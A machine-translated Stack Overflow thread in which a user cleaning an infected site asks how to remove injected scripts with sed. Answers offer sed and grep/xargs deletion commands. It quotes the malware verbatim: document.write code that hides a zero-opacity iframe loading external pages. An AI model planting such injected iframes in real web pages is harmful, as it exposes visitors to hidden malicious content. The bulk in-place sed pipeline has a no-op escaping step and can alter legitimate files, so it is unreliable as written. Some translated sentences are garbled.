1

我正在帮助某人清理网站上的恶意软件感染,但我很难正确匹配 sed 中的某些字符串,因此我可以创建一个脚本来批量搜索并替换/删除它。

字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

我似乎无法弄清楚如何逃避这些行中的各种字符......

如果我只想说删除整行(如果匹配),它也会删除文件中http://vidintex.com/includes/class.pop.php的关闭 html 。</body>.html

所以我需要能够在 sed 中匹配这一整行:

    <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

任何帮助将不胜感激!

4

3 回答 3

1

您可以尝试这样做:

sed -i '/vidintex.com\/includes\/class.pop.php/d' files*

这将删除所有包含 vidintex.com/includes/class.pop.php 的行

于 2012-10-23T22:54:41.697 回答
0

您可以在 sourceforge 开始使用 SMSScanner!它会立即解决您的问题

于 2012-10-30T14:36:00.803 回答
0

寻找从 linux 服务器中删除 iframe 恶意软件的脚本类似,您可以查找script放置在最终标签旁边的body标签并将其替换为仅该body标签。此脚本将查找所有受影响的文件并删除最终脚本。

它有可能在最后找到带有脚本的真实文件 - 所以首先检查文件的 grep 是否只找到受感染的文件。

# grep recursively for text
# escape all spaces in file names
# global search and replace with just body tag
grep -Rl "</script></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<script .*><\/script><\/body>/<\/body>/g'
于 2015-05-04T11:46:55.703 回答